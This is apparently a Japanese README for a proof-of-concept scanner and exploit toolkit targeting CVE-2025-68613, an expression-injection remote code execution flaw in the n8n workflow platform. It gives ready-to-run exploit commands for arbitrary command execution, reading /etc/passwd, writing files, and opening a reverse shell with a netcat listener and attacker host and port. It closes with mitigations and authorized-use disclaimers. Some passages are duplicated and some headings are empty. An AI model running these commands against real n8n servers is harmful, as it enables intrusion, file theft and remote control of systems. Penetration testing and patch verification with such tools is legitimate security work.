CVE-2025-68613 – n8n 式インジェクション RCE

このツールキットは、n8n Workflow Automation Platform の重大な脆弱性 CVE-2025-68613 に対する スキャナおよび PoC エクスプロイト を提供します。

このリポジトリは、n8n Workflow Automation Platform に影響する重大な脆弱性 CVE-2025-68613 のための スキャナおよび PoC エクスプロイトスクリプト を提供します。

警告 / 注意

インドネシア語

このツールは許可された正当なセキュリティテスト専用です。所有者の許可なくこのツールをシステムで使用することは禁止されています。

英語

このツールは許可された合法的なセキュリティテスト専用です。無断使用は違法であり、禁止されています。

脆弱性の概要

• CVE ID : CVE-2025-68613
• 重要度 : 緊急
• CVSS : 10.0
• 種別 : 式インジェクション → リモートコード実行 (RCE)
• 製品 : n8n Workflow Automation Platform

影響を受けるバージョン

• 0.211.0 – 1.120.3
• 1.121.0

修正済みバージョン

• 1.120.4+
• 1.121.1+
• 1.122.0+

リポジトリ構造

.
├── tot-scanner-2025-68613.py   # Vulnerability Scanner (NO exploit)
├── tot-exploit-2025-68613.py   # Authenticated RCE Exploit PoC
├── requirements.txt
└── README.md

スキャナ（非エクスプロイト）

スキャナは以下のために使用されます:

• n8n サービスを検出する
• n8n のバージョンを抽出する
• 脆弱性の状態を判定する
• エクスプロイトを行わない
• JSON出力 をサポートする

スキャナ:

• n8nサービス を検出します
• n8n のバージョンを抽出します
• 脆弱性の状態を判定します
• エクスプロイトなし
• JSON出力 をサポートします

スキャナは以下のエンドポイントを確認します:

• /
• /rest/settings
• /healthz
• /api/v1/health

依存関係 / 要件

インドネシア語

必要なパッケージ:

• requests

requirements.txt の内容:

requests>=2.28.0

英語

必要なパッケージ:

• requests

requirements.txt の内容:

requests>=2.28.0

インストール

pip install -r requirements.txt

スキャナの使用法

python3 tot-scanner-2025-68613.py -u http://target.com:5678

スキャナのJSONモード

python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json

スキャナのJSON出力例

{
  "target": "http://target.com:5678",
  "detected": true,
  "version": "1.121.0",
  "vulnerable": true,
  "status": "vulnerable",
  "cve": "CVE-2025-68613"
}

スキャナの終了コード

Exploit PoC（認証済みRCE）

このエクスプロイトには有効な n8n の認証情報が必要です
認証済みアクセスが必須です

エクスプロイトの動作手順:

1. n8n にログインする
2. ワークフローを作成する
3. Set ノードに悪意のある式を注入する
4. ワークフローを実行する
5. （任意）ワークフローのクリーンアップ

エクスプロイトの引数

対応ペイロード

エクスプロイトの使用例

システム情報

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload info

コマンド実行

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload cmd  --command "id"

ファイル読み取り

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload read  --file /etc/passwd

ファイル書き込み

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload write  --file /tmp/pwned.txt  --content "owned"

リバースシェル

nc -lvnp 4444

python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload revshell  --lhost 10.10.14.5  --lport 4444

緩和策

• 修正済みバージョンに n8n をアップグレードする
• /rest/* エンドポイントへのアクセスを制限する
• RBAC と強力な認証を適用する
• 不明なワークフローを監査する

免責事項

このプロジェクトは教育目的および許可されたセキュリティテスト専用に提供されています。
著者は不正使用について責任を負いません。

GitHub トピック

n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python

法令を遵守しましょう。倫理的に行動しましょう。